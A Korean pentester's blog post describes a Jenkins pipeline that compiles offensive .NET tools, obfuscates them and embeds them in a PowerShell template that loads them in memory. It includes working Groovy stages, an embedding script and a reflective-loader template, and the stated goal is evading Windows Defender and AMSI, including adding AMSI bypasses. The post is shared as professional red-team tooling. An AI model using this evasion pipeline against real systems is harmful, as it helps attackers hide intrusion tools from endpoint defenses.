[KOR] 젠킨스와 PowerSharpPack 반-자동화

Credits

요약

이 글에서는 지난 몇 일 간 젠킨스를 이용해 PowerSharpPack 페이로드를 자동화한 것을 정리해봤다. 자동화를 진행하는데 있어 필요한 툴 설치와 젠킨스 파이프라인 파일들에 관련해서 설명한다. 프레임워크나 툴을 소개하는 것이 아닌, 그저 "저는 이런식으로 젠킨스를 이용해 모의해커들을 돕는 자동화 프로젝트를 만들어봤습니다" 라는 경험 공유 형식의 블로그다. 개념 증명용 코드들은 모두 이 깃헙 리포에서 볼 수 있다.

문제점

모의해커로 일하며 내부망 모의침투테스트를 진행할 때 마다 파워쉘 기반의 툴링을 많이 쓴다. 아무리 2010년대 중반 이후로 파워쉘 탐지가 활발하게 이뤄졌다곤 해도, 여전히 파워쉘 툴들은 매일매일 침투테스트에 쓰인다. PowerSharpPack (이하 PSP) 또한 많이 쓰이는데, 이 파워쉘 툴은 다른 .NET (닷넷) 기반의 툴을 파워쉘안에 삽입해 메모리상에서 실행시키는 툴이다. PSP 페이로드를 제작하는 것은 시간이 많이 걸리지 않지만, 침투 테스트 시 닷넷 툴을 10개를 사용한다면, PSP 페이로드를 10개 제작해야만 했다. 어렵진 않지만, 시간이 많이 들고 귀찮은 일이였다.

해결방안 - 젠킨스

귀찮다면, 자동화하면 된다! 처음엔 PSP 페이로드 제작을 자동화 하기 위해 이미 존재하는 클라우드 기반의 CI/CD 솔루션들(Azure Pipeline, AWS CodePipeline)을 사용할까 생각했다. 하지만, HTTP418Infosec의 블로그 글을 읽고 젠킨스를 사용하기로 마음 먹었다. 이 글과 오펜시브 시큐리티 CI/CD 파이프라인과 관련된  harmj0y의 프리젠테이션을 보며 젠킨스의 매력에 빠졌다.

사실 젠킨스보다는 위에 언급한 클라우드 기반의 CI/CD 솔루션을 사용하는 것이 모의해커로서는 더 좋은 선택일 수도 있다. 특히, 레드팀이 아닌 모의해커로써 AWS나 Azure가 내 툴을 signaturize 하거나 관련된 메타데이터를 수집해가는 것은 그다지 큰 문제는 되지 않는다. 어차피 절대로 유출되어선 안되는 레드팀 페이로드들과는 달리, 모의해커로서 내 툴들은 AWS나 Azure에 signaturized 되거나 메타데이터를 수집 당해도 별로 큰 타격이 되지 않는다.

하지만, 가끔씩은 간단하고, 공짜이며, 온-프레미스 해결방안이 "땡길 때"가 있다. 클라우드 시스템을 이용하며 라이센스 관련 문제, 금전적 압박, 클라우드 서비스 계정을 생성하고, 관리하고, 회사에 승인을 받는 프로세스까지 생각하면 진저리가 난다. 개인적으로는 간단하게 VM하나 올리고, 그 위에 툴 몇개 설치한 뒤, 나만의 CI/CD를 만드는 것이 훨씬 더 효율적인 해결방안이라고 생각했다.

반-자동화

이 글의 제목이 자동화도 아니고 "반-자동화" 인 이유는 모든 것을 자동화 시키기에는 변수가 너무 많았기 때문이다. 모든 닷넷 프로젝트들은 각기 조금씩 다른 점을 갖고 있다 (버전에 따라 msbuild/dotnet 사용, 닷넷 버전이 미리 설정된 프로젝트, nuget restore가 안되고 수동으로 설치해야 하는 프로젝트, 한 리포에 3~4  닷넷 sln이 들어가 있는 프로젝트 등등.. 나열하면 끝이 없다). 따라서 1개의 젠킨스 파이프라인을 통해 모든 걸 자동화 하는 것은 불가능 했다.

PSP 페이로드를 제작하려면 다음과 같은 것들이 자동화 되야한다:

  1. PSP안에 들어갈 닷넷 툴을 git clone 한다
  2. 툴의 class Programmain()함수의 액세스 한정자를 public 으로 지정한다
  3. PSP를 실행중인 파워쉘 프로세스를 종료 시켜버릴 수 있는 environment.exit()코드를 삭제한다
  4. Nuget restore, dotnet restore 를 통해 의존성을 해결한다
  5. msbuild 나 dotnet 을 통해 컴파일 한다
  6. 컴파일 된 .NET 어셈블리를 난독화한다
  7. 난독화된 어셈블리를 압축, base64 인코딩 시켜 PSP페이로드 템플릿 안에 삽입한다
  8. 완성된 PSP 페이로드를 다시 한 번 난독화 한다

이 8가지 일들 중 몇 개는 젠킨스로 해결할 수 있고, 나머지는 파워쉘이나 오픈소스 툴들을 이용해 문제를 해결했다. 예를 들어 닷넷 어셈블리나 파워쉘을 난독화 하는 툴을 나 혼자서 처음부터 제작하는게 아니라, 이미 나와있는 Invisibilitycloak, confuserex, chameleon 과 같은 툴들을 사용했다.

환경과 툴 세팅

젠킨스를 설치하기 위해서는 @xenosCRoffsecops 블로그 글을 참고했다. 저 글에 나와있는 Artifactory 설치는 이 프로젝트에서는 건너뛰었다. 젠킨스 외에도 다음과 같은 것들이 서버에 설치되어야한다:

  1. Visual Studio 2019 or prior: 2022는 오펜시브 시큐리티 닷넷 툴들이 많이 사용하는 .NET 3.5와 4.0을 지원하지 않는다. 또한 VS를 설치하며 .NET SDK 3.5~4.8 + 5.0 등을 설치해준다.
  2. Java
  3. Jenkins
  4. Python
  5. Git
  6. Nuget
  7. 난독화를 위한 오픈소스 툴들 confuserEx (cli), invisibilitycloak, chameleon, etc.

모든 것들을 설치했다면, cmd/powershell 에서 사용 가능하고 PATH 환경 변수에서 다음과 같은 명령어를 실행할 수 있는지 확인한다.

java --help
python --help
nuget
dotnet help
ConfuserEx.Cli.exe
cmd/powershell에서 툴 사용 여부 확인

젠킨스 설정

모든 툴이 설치되었다면, 젠킨스를 설정할 차례다. 젠킨스를 설치한 뒤, 다음과 같은설정들을 확인한다.

1. 파이썬, 파워쉘, 깃 플러그인 설치

Manage Jenkins -> Manage Plugins -> Available -> install python/git/powershell plugin Available 탭에서 파이썬, 깃, 파워쉘 플러그인을 설치한다.

2. PATH 환경변수 설정

젠킨스 내의 Manage Jenkins -> Configure Jenkins -> Check the Environment Variables 로 가서 PATH 환경변수를 설정해준다. 컴퓨터의 system 환경변수를 복사/붙여넣기 하면 된다.

3. MSBuild 위치 설정

Manage Jenkins -> Global Tool Configuration -> MSBuild 로 가서 MSBuild 의 위치를 설정해준다. 기본적으로는 C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin - 여기에 있지만, VS를 어떻게 설치했냐에 따라다르다.

만약 모든 설정이 끝났다면, 테스트용으로 젠킨스 파이프라인을 간단하게 실행해본다. New Item -> Pipeline 으로 가 다음의 젠킨스 파이프라인을 복사/붙여넣기 한 뒤 실행한다.

pipeline { 
    agent any

    environment { 
        TEST="Hardcoding everything for now"
    }

    stages {
        stage('Cleanup'){
            steps{
                deleteDir()
            }
        }

        stage('Jenkins-check'){
            steps{
                echo "Hello, Jenkins"
            }
        }
        
        stage('Python-check'){
            steps{
                bat """python --version"""
            }
        }

        stage('Powershell-check'){
            steps{
                powershell(returnStdout:true, script:"echo 'Hello Powershell'")
            }
        }

        stage('Git-check'){
            steps{
                git branch:'main', url: 'https://github.com/GhostPack/Certify.git'
            }
        }

        stage('nuget-check'){
            steps{
                bat "nuget restore ${WORKSPACE}\\Certify.sln"
            }
        }

        stage('MSBuild-check'){
            steps{
                bat "\"${tool 'MSBuild_VS2019'}\\MSBuild.exe\" /p:Configuration=Release \"/p:Platform=Any CPU\" /maxcpucount:%NUMBER_OF_PROCESSORS% /nodeReuse:false /p:TargetFrameworkMoniker=\".NETFramework,Version=v4.8\" ${WORKSPACE}\\Certify.sln" 
            }
        }

        stage('Final-check'){
            steps{
                echo "Hello compiled Certify.exe!"
                bat "dir ${WORKSPACE}\\Certify\\bin\\Release\\"
            }
        }
    }
}
젠킨스와 툴 사용여부를 확인하는 예시 젠킨스 파이프라인

위 샘플 젠킨스 파이프라인을 실행하면 git, powershell, python, nuget, msbuild 등을 젠킨스에서 제대로 사용할 수 있는지를 확인한다. 만약 어딘가에서 실패한다면, 다시 한 번 PATH설정을 확인한 뒤 젠킨스 설정을 확인한다.

PSP 자동화 젠킨스 파이프라인

최종 젠킨스 파이프라인과 그에 필요한 툴, 스크립트들은 모두 이 깃헙 리포에 있다.

git clone --recursive https://github.com/ChoiSG/jenkins-psp.git

아래의 섹션들은 모두 psp-confuser.groovy 파이프라인 파일을 기반으로 이뤄진다.

0. 환경변수 세팅

파이프라인의 환경변수에는 닷넷 툴과 관련된 환경변수를 설정한다. 툴 이름, git url, 브랜치 이름, 닷넷 버전등을 설정한다.

유의할 점은 깃 클론, 컴파일, 난독화 등은 젠킨스의 기본 WORKSPACE 디렉토리 (c:\programdata\jenkins\.jenkins\workspace\<pipeline-name>) 내에서 일어난다. 헬퍼 스크립트들과 파이프라인이 생산해내는 출력 파일들은 WORKDIR 디렉토리에 저장된다.

pipeline {
    agent any

    environment {
        // << CHANGE THESE >> 
        TOOLNAME = "Seatbelt"
        GITURL = "https://github.com/GhostPack/Seatbelt.git"
        BRANCH = "master"
        WORKDIR = "C:\\opt\\generate-psp-jenkins"

        < ... >

        // << CHANGE THESE>> .NET Compile configs
        CONFIG="Release"
        PLATFORM="Any CPU"
        DOTNETVERSION="v3.5"
        DOTNETNUMBER="net35"
        
        < ... >
    }
환경변수에서 툴 이름, 깃헙 리포, 브랜치, 닷넷 버전 등을 바꿔준다

1. 깃 클론

stage('Cleanup'){
    steps{
        deleteDir()
        dir("${TOOLNAME}"){
            deleteDir()
        }
    }
}

stage('Git-Clone'){
    steps{
        script {     
            checkout([
                $class: 'GitSCM',
                branches: [[name: "*/${BRANCH}"]],
                userRemoteConfigs: [[url: "${GITURL}"]]
            ]) 
        }
    }
}
이전 빌드 삭제와 깃 클론 단계

이전 빌드의 파일들을 삭제하는 Cleanup 스테이지와 툴의 깃헙 리포를 클론하는 Git-Clone 스테이지다. GitURL 에는 깃헙, 깃랩 등의 리포를 설정하거나, 혹은 로컬 리포를  file:// 를 이용해 설정할 수 있다. 기본적으로 젠킨스가 깃 클론한 파일들은 모두 WORKSPACE (c:\programdata\Jenkins\.jenkins\workspace\<pipeline-name>) 디렉토리에 저장된다.

2. PSP에 적합하도록 소스코드 변경

stage('Prep-PSP'){
    steps{
        powershell "${PREPPSPPATH} -inputDir ${WORKSPACE} -toolName ${TOOLNAME}"
    }
}
PSP 생성을 위한 소스코드 변경 단계

깃 클론한 닷넷 툴이 PSP에 적합하도록 소스코드를 변경한다. 이는 PREPPSPPATH (PSPprep.ps1) 파워쉘 스크립트를 이용한다. 이 스크립트는 닷넷 툴의 소스코드를 읽은 뒤 클래스와 main() 함수의 액세스 제한자를 public 으로 바꾸고, environment.exit() 함수를 삭제하고, 주석을 삭제한다.

3. 컴파일

stage('Nuget-Restore'){
    steps{
        script{
            def slnPath = powershell(returnStdout: true, script: "(Get-ChildItem -Path ${WORKSPACE} -Include '${TOOLNAME}.sln' -Recurse).FullName")
            env.SLNPATH = slnPath
            
            try{ 
                bat "nuget restore ${SLNPATH}"
            }
            catch(Exception e){
                catchError(buildResult: 'SUCCESS', stageResult: 'FAILURE') {
                    bat """dotnet restore ${SLNPATH} """
                }
            }
        }
    }
}
컴파일 전 의존성 해결 단계

컴파일 하기 전 nuget 혹은 dotnet을 이용해 의존성을 먼저 해결한다. 몇 몇 툴들은 nuget restore / dotnet restore 로 의존성 해결이 되지 않고 수동으로 nuget 패키지 들을 설치해야하니, 이때는 로컬 리포와 file:// 을 이용한다. 이는 Extras 섹션을 참고한다.

닷넷 프레임워크 프로젝트들은 msbuild로, 닷넷 5.0++ 프로젝트들은 dotnet을 이용해 컴파일 한다.

stage('Compile'){ 
    steps {
        script{ 
            try{
                bat "\"${tool 'MSBuild_VS2019'}\\MSBuild.exe\" /p:Configuration=${CONFIG} \"/p:Platform=${PLATFORM}\" /maxcpucount:%NUMBER_OF_PROCESSORS% /nodeReuse:false /p:DebugType=None /p:DebugSymbols=false /p:TargetFrameworkMoniker=\".NETFramework,Version=${DOTNETVERSION}\" ${SLNPATH}" 
            }   
            catch(Exception e){
                catchError(buildResult: 'SUCCESS', stageResult: 'FAILURE') {
                    bat """dotnet build ${SLNPATH} """ 
                }
            }      
        }
    }
}
컴파일 단계

4. 난독화

닷넷 툴은 다음과 같은 3가지 방법으로 난독화할 수 있다:

  1. 컴파일 하기 전 소스코드 자체를 난독화 - 예) InvisibilityCloak
  2. 컴파일 한 후 닷넷 어셈블리를 난독화 - 예) ConfuserEx
  3. 컴파일 하기 전, 후 모두 난독화 - 예) InvisibilityCloak + ConfuserEx

닷넷 난독화는 어셈블리 이름, namespace, 어셈블리 GUID, 문자열 등을 난독화한다. 주의할 점은 resources와 type은난독화하면 안된다는 것이다. 이들을 난독화 하면 나중에 PSP 페이로드에서 Reflection을 이용해 메모리상에서 닷넷 툴을 로드하고 실행하기 까다로워진다.

아래의 예시는 모두 ConfuserEx 툴을 이용해서 난독화를 진행했다. InvisibilityCloak 을 이용해 소스코드를 난독화 하는 예시는 psp-inviscloak.groovy 파일을 참고한다.

stage('ConfuserEx'){
    when {
        expression { env.DOTNETVERSION != 'v'}
    }
    steps{
        script{   
            def exePath = powershell(returnStdout: true, script: """
                < find exepath. Some projects includes net45/net35 in path, some don't. Cover all edge cases.
            """)
            env.EXEPATH = exePath

            // Continue on failure.
            catchError(buildResult: 'SUCCESS', stageResult: 'FAILURE'){
                powershell(returnStdout:true, script: """
                    < find all .dll and copy to exepath to resolve dependency for confuserEx >
                """)

                // Generate confuserEx project file using `confuserEx.ps1` script
                powershell(returnStdout:true, script:"${CONFUSERPREP} -exePath \"${EXEPATH}\".trim() -outDir ${WORKSPACE}\\Confused -level normal -toolName ${TOOLNAME} ")

                // Run confuserEx with the project file generated above
                bat "Confuser.CLI.exe ${WORKSPACE}\\Confused\\${TOOLNAME}.crproj"

                echo "[!] ConfuserEx failed. Skipping Obfuscation."
            }
        }
    }
}
난독화 단계

ConfuserEx는 닷넷 5.0++ 을 지원하지 않기 때문에 닷넷 프레임워크 기반의 툴만 난독화를 진행한다. 이는 when{}블럭의 env.DOTNETVERSION 환경변수에 "v"가 들어가느냐 안가느냐를 통해 조건을 걸 수 있다 (v3.5, v4.0 면 난독화, net50, net60 면 난독화 패스).

이후 파워쉘 스크립트 ${CONFUSERPREP}(confuserEx.ps1) 를 통해 ConfuserEx 프로젝트 파일 (.crproj)를 생성한 뒤, 이를 ConfuserEx.CLI.exe바이너리를 통해 사용한다. confuserex.ps1 유틸리티 스크립트는 여기서 확인할 수 있다.

5. PSP 페이로드 제작

어셈블리가 컴파일 되고 난독화 됐다면, 이제 이를 PSP 페이로드 템플릿에 삽입할 차례다. PSP 템플릿 자체는 삽입된 닷넷 툴의 압축을 풀고 base64 디코딩을 한 뒤, 메모리상에 로드 시키고 메인 함수를 실행시키는 간단한 스크립트다. 템플릿은 다음과 같다.

# PSP Payload template 
function Invoke-TOOLNAME
{
    < ... > 

    # The .NET assembly will be placed at the PLACEHOLDER location by PSPprep.ps1 script.
    $a = New-Object IO.MemoryStream(,[Convert]::FromBase64String("PLACEHOLDER"))

    $decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
    $output = New-Object System.IO.MemoryStream
    $decompressed.CopyTo( $output )
    [byte[]] $byteOutArray = $output.ToArray()
    $RAS = [System.Reflection.Assembly]::Load($byteOutArray)

    < ... > 

    [TOOLNAME.Program]::main($Command.Split(" "))

    < ... > 
}
PSP 페이로드 템플릿

이제 이 템플릿에 앞서 만든 닷넷 툴을 삽입하려면, 닷넷 툴을 먼저 WORKSPACE 에서 찾은 뒤, 파일을 bytearray 형식으로 읽고, 압축하고, base64 인코딩한 뒤, PSP 템플릿에 삽입하면 된다. 이는 embedDotNet.ps1 스크립트가 진행한다.

# embedDotNet.ps1

# https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/dotnet-reflective-assembly

param($inputFile, $outputFile, $templatePath, $toolName)

# Compress
$bytes = [System.IO.File]::ReadAllBytes($inputFile)
[System.IO.MemoryStream] $memStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GZipStream($memStream, [System.IO.Compression.CompressionMode]::Compress)
$gzipStream.Write($bytes, 0, $bytes.Length)
$gzipStream.Close()
$memStream.Close()
[byte[]] $byteOutArray = $memStream.ToArray()
$encodedZipped = [System.Convert]::ToBase64String($byteOutArray)

# Copy/Paste the compress+base64'ed .NET assembly to the template
Copy-Item -Path $templatePath -Destination $outputFile -Force

# Embed the gzip + b64 encoded .NET assembly into the template
$templateContent = Get-Content -Path $outputFile
$newContent = $templateContent -replace 'PLACEHOLDER', $encodedZipped
$newContent = $newContent -replace 'TOOLNAME', $toolName

Set-Content -Path $outputFile -Value $newContent
닷넷 툴을 PSP 템플릿에 삽입하는 embedDotNet.ps1 스크립트

이제 닷넷 어셈블리를 템플릿에 삽입하는 embedDotNet.ps1스크립트도 있겠다, 이를 모두 젠킨스 파이프라인에서 실행하면 된다. PSP 페이로드를 만드는 젠킨스 파이프라인 단계는 다음과 같다.

stage('Create-PSP'){
    steps{
        script{
            // If confuserex succeeded 
            def exePath = powershell(returnStdout: true, script: "(Get-ChildItem -Path ${WORKSPACE} -Include '*.exe' -Recurse | Where-Object {\$_.DirectoryName -match 'Confused'} ).FullName")
            env.EXEPATH = exePath
            
            // If confuserEx failed, just use the regular bin.
            if (env.EXEPATH == ''){
                // Some projects have net45,net40 in the file path, some don't. Cover all cases. 
                exePath = powershell(returnStdout: true, script: """
                    \$exeFiles = (Get-ChildItem -Path ${WORKSPACE} -Include '*.exe' -Recurse | Where-Object {\$_.DirectoryName -match 'release' -and \$_.DirectoryName -match 'bin' } ).FullName
                    if (\$exeFiles -match "${DOTNETNUMBER}"){
                        \$exeFiles -match "${DOTNETNUMBER}"
                    }
                    else{
                        (Get-ChildItem -Path ${WORKSPACE} -Include '*.exe' -Recurse | Where-Object {\$_.DirectoryName -match 'release'} )[0].FullName
                    }
                    """)
                env.EXEPATH = exePath
            }

            powershell "${EMBEDDOTNETPATH} -inputFile \"${EXEPATH}\".trim() -outputFile ${PSP_OUTPUT} -templatePath ${TEMPLATEPATH} -toolName ${TOOLNAME}"
        }
    }
}
PSP 페이로드 생성 단계

6. PSP 페이로드 난독화

PSP 페이로드는 만들어졌지만, 윈도우 디펜더와 AMSI 우회를 위해 다시 한 번 난독화를 진행한다. 개인적으로는 Chameleon 이라는 툴이 파워쉘 (PSP 페이로드는 파워쉘 기반) 난독화를 하는데 편했다.

stage('Obfuscate-PSP'){
    steps{
        bat encoding: 'UTF-8', script: """python ${CHAMELEONPATH} -v -d -c -f -r -i -l 4 ${PSP_OUTPUT} -o ${OBS_PSP_OUTPUT}"""
    }
}
PSP 페이로드 난독화단계

유의할 점은 Chameleon의 시작 배너 함수가 젠킨스에서 캐릭터 인코딩 관련 에러를 일으킨다는 것이다. 개인적으로는 그냥 문제 함수의 문자열을 다 지웠다. 어차피 배너를 보여주는 함수라 지워도 상관없다.

# Chameleon.py
< ... >
def welcome():
banner = """
deleted
"""
< ... >
Chameleon의 배너 함수 문자열을 다 지웠다

7. 젠킨스 파이프라인을 실행해보자!

이제 모든 준비가 끝났다. 실습을 해보려면 PoC 리포를 깃 클론 한 뒤 psp-confuser.groovy를 이용해 새로운 파이프라인을 만든다. 툴 이름이나 giturl, 닷넷 버전, WORKDIR 등의 환경변수를 필요에따라 변경한다. 그 뒤, 파이프라인을 실행한다.

위와 같이 젠킨스가 실행되면서, 모든 것을 자동화해 만들어준다. 출력되는 PSP 페이로드는 2개다. 난독화가 안된 버전, 난독화가 된 버전. 난독화가 된 버전은 디펜더나 AMSI 우회가 되는 것을 볼 수 있다.

Extra

로컬 깃 리포

위에서 언급했듯이 모든 것을 다 자동화 할수는 없다. 때로는 닷넷 툴을 깃 클론 한 뒤, 비주얼 스튜디오나 다른 툴을 이용해 필요한 수동 설정을 하는게 더 나을 수도 있다. 이때 file://깃 URL을 사용할 수 있다.

예를 들어 SharPersist 닷넷 툴을 보자. 이 툴은 수동으로 TaskSchedulerFody 를 설치해야한다. Install-Package 를 이용해 파워쉘에서 설치할 수도 있지만, 에러가 일어나기도 하고 시간도 오래걸린다.

이렇게 변수가 생긴 경우, 차라리 로컬 깃 리포를 생성한 뒤 모든 변수를 해결한다. 그 뒤, 젠킨스 파이프라인에는 깃헙 대신 file://을 써 로컬 리포를 깃 클론하게 만들면 된다.

1. Create a local repo
mkdir local-sharpersist
git init .

2. Git-clone tool in a separate directory
cd c:\opt
git clone https://github.com/mandiant/SharPersist.git

3. Copy/paste all files except `.git` and `.vs` into the #1 local repo

4. Make manual modifications
- For Sharpersist, it's installing Taskscheduler 2.8.11 and Costura.Fody 3.3.3 through nuget or Install-Package

5. Commit changes  
cd c:\opt\local-sharpersist
git add .
git commit -m "resolve nuget"

이렇게 한 뒤 파이프라인에서는 환경변수 GITURL 만 바꿔주면 끝이다.

// Sharpersist pipeline
pipeline {
    agent any

    environment {
        TOOLNAME = "SharPersist"
        GITURL = "file:///c:/opt/local-sharpersist"
        BRANCH = "main"
< ... >

AMSI 우회

기본적으로 Chameleon을 이용해 AMSI 우회가 되지만, 그래도 언젠가 Chameleon 난독화도 막힐 수 있다. 이때는 이미 존재하는 AMSI 우회를 amsi.fail 에서 가져온 뒤, chameleon을 사용해 그 우회를 난독화하는 방법이 효과가 좋았다. 이렇게 만든 AMSI 우회 페이로드를 PSP 페이로드에 같이 첨부하면 자동으로 AMSI 우회도 할 수 있게 된다.

메타 잡 / 메타 빌드

20개가 넘는 젠킨스 파이프라인들을 일일히 누르면서 빌드하기에는 너무 귀찮다. 다행히도 젠킨스 파이프라인은 다른 파이프라인을 실행할 수 있다. 즉, 20개의 젠킨스 파이프라인을 병렬적으로 동시에 실행하는 "메타 잡 / 메타 빌드" 파이프라인을 만들 수 있는 것이다.

이 예시는 깃헙 리포의 meta-example.groovy, meta-Rubeus.groovy, meta-Certify.groovy 파일에 올려놨다. meta-example.groovy 파이프라인은 서브잡 (다른 2개의 파이프라인)을 실행시켜 Rubeus 와 Certify 가 들어간 PSP 페이로드를 생성한다. 메타 잡/빌드를 실행할 때 ProjectID 등의 파라미터를 서브잡에게 넘기는 것 또한 가능하다.

메타 잡과 서브 잡들
  1. 먼저 meta 파이프라인을 생성한 뒤, meta-example.groovy 코드를 사용한다. This project is parameterized 옵션을 체크한 뒤 ProjectID 파라미터를 설정한다.
  2. meta-Rubeus 파이프라인을 생성하고 meta-Certify.groovy 코드를 이용한다.
  3. meta-Certify 파이프라인을 생성하고 meta-Certify.groovy 코드를 이용한다.
  4. meta파이프라인으로 가 파라미터 ProjectID 를 설정한 뒤, 빌드한다. 예를 들어, ProjectID = 2022-Q2-Internal 로 설정한 뒤 실행해보자.
총 2x2=4개의 파일이 출력된다

마치며

이렇게 해서 PSP 페이로드를 자동으로 생성시켜주는 젠킨스 파이프라인을 만들어봤다. 젠킨스, 파워쉘, 파이썬등을 조잡하게 엮어 만든 파이프라인이지만, 의외로 잘 실행된다. 자동화가 어떻게 이뤄지는지, 어떤 문제들이 생기는지, 어떻게 처음부터 끝까지 페이로드 자동화를 진행할 수 있는지 알아볼 수 있는 좋은 기회였다. 실제로 실무에서 사용할 때는 Environment Keying, 난독화+암호화, 악용을 막기위해 모의침투테스트 끝난 뒤 자동으로 바이러스토탈에 업로드, Artifactory 적용 등을 하면 더 좋을 것 같다.

Happy hacking!

References

OffSecOps: Using Jenkins For Red Team Tooling - HTTP418 InfoSec
An introductory guide on using Jenkins to automate the obfuscation of .NET binaries for red teaming. Based on the OffSecOps talk.
OffSecOps Basic Setup

Special Thanks

@sandw1ch : "choi gib certify as obs powershell :hehehehehe:"